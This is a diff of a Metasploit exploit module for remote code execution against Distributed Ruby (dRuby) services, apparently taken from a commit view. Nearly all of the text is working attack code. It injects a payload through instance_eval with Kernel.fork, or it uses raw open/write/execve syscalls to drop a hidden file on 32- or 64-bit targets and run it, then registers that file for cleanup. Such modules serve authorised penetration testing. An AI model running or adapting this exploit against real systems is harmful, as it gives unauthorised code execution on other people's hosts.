7
7
require 'drb/drb'
8
8
9
9
class MetasploitModule < Msf ::Exploit ::Remote
10
+
10
11
Rank = ExcellentRanking
11
12
13
+ include Msf ::Exploit ::FileDropper
14
+
12
15
def initialize ( info = { } )
13
16
super ( update_info ( info ,
14
17
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution' ,
15
18
'Description' => %q{
16
- This module exploits remote code execution vulnerabilities in dRuby
19
+ This module exploits remote code execution vulnerabilities in dRuby.
20
+
21
+ If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
22
+ In this event, the syscall target is preferred. This can be set with target 1.
17
23
} ,
18
24
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ] , #(Phenoelit)
19
25
'License' => MSF_LICENSE ,
20
26
'References' =>
21
27
[
22
28
[ 'URL' , 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ] ,
29
+ [ 'URL' , 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
23
30
] ,
24
31
'Privileged' => false ,
25
32
'Payload' =>
26
33
{
27
34
'DisableNops' => true ,
28
- 'Compat' =>
29
- {
30
- 'PayloadType' => 'cmd' ,
31
- } ,
32
35
'Space' => 32768 ,
33
36
} ,
34
37
'Platform' => 'unix' ,
35
38
'Arch' => ARCH_CMD ,
36
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
39
+ 'Targets' => [
40
+ [ 'instance_eval' , { } ] ,
41
+ [ 'syscall' , { } ]
42
+ ] ,
37
43
'DisclosureDate' => 'Mar 23 2011' ,
38
44
'DefaultTarget' => 0 ) )
39
45
@@ -51,19 +57,37 @@ def exploit
51
57
class << p
52
58
undef :send
53
59
end
60
+
61
+ case target . name
62
+ when 'instance_eval'
63
+ print_status ( 'Trying to exploit instance_eval' )
64
+ exploit_instance_eval ( p )
65
+ when 'syscall'
66
+ print_status ( 'Trying to exploit syscall' )
67
+ exploit_syscall ( p )
68
+ end
69
+ end
70
+
71
+ def exploit_instance_eval ( p )
54
72
begin
55
- print_status ( 'trying to exploit instance_eval' )
56
73
p . send ( :instance_eval , "Kernel.fork { `#{ payload . encoded } ` }" )
74
+ rescue SecurityError
75
+ print_error ( 'instance_eval failed due to security error' )
76
+ rescue DRb ::DRbConnError
77
+ print_error ( 'instance_eval failed due to connection error' )
78
+ end
79
+ end
57
80
58
- rescue SecurityError => e
59
- print_status ( 'instance eval failed, trying to exploit syscall' )
60
- filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
61
- begin
81
+ def exploit_syscall ( p )
82
+ filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
62
83
84
+ begin
85
+ begin
86
+ print_status ( 'Attempting 32-bit exploitation' )
63
87
# syscall to decide wether it's 64 or 32 bit:
64
88
# it's getpid on 32bit which will succeed, and writev on 64bit
65
89
# which will fail due to missing args
66
- j = p . send ( :syscall , 20 )
90
+ p . send ( :syscall , 20 )
67
91
# syscall open
68
92
i = p . send ( :syscall , 8 , filename , 0700 )
69
93
# syscall write
@@ -75,13 +99,9 @@ class << p
75
99
# syscall execve
76
100
p . send ( :syscall , 11 , filename , 0 , 0 )
77
101
78
- # not vulnerable
79
- rescue SecurityError => e
80
-
81
- print_status ( 'target is not vulnerable' )
82
-
83
102
# likely 64bit system
84
- rescue => e
103
+ rescue Errno ::EBADF
104
+ print_status ( 'Target is a 64-bit system' )
85
105
# syscall creat
86
106
i = p . send ( :syscall , 85 , filename , 0700 )
87
107
# syscall write
@@ -93,9 +113,17 @@ class << p
93
113
# syscall execve
94
114
p . send ( :syscall , 59 , filename , 0 , 0 )
95
115
end
116
+
117
+ # not vulnerable
118
+ rescue SecurityError
119
+ print_error ( 'syscall failed due to security error' )
120
+ return
121
+ rescue DRb ::DRbConnError
122
+ print_error ( 'syscall failed due to connection error' )
123
+ return
96
124
end
97
- print_status ( "payload executed from file #{ filename } " ) unless filename . nil?
98
- print_status ( "make sure to remove that file" ) unless filename . nil?
99
- handler ( nil )
125
+
126
+ register_files_for_cleanup ( filename )
100
127
end
128
+
101
129
end
0 commit comments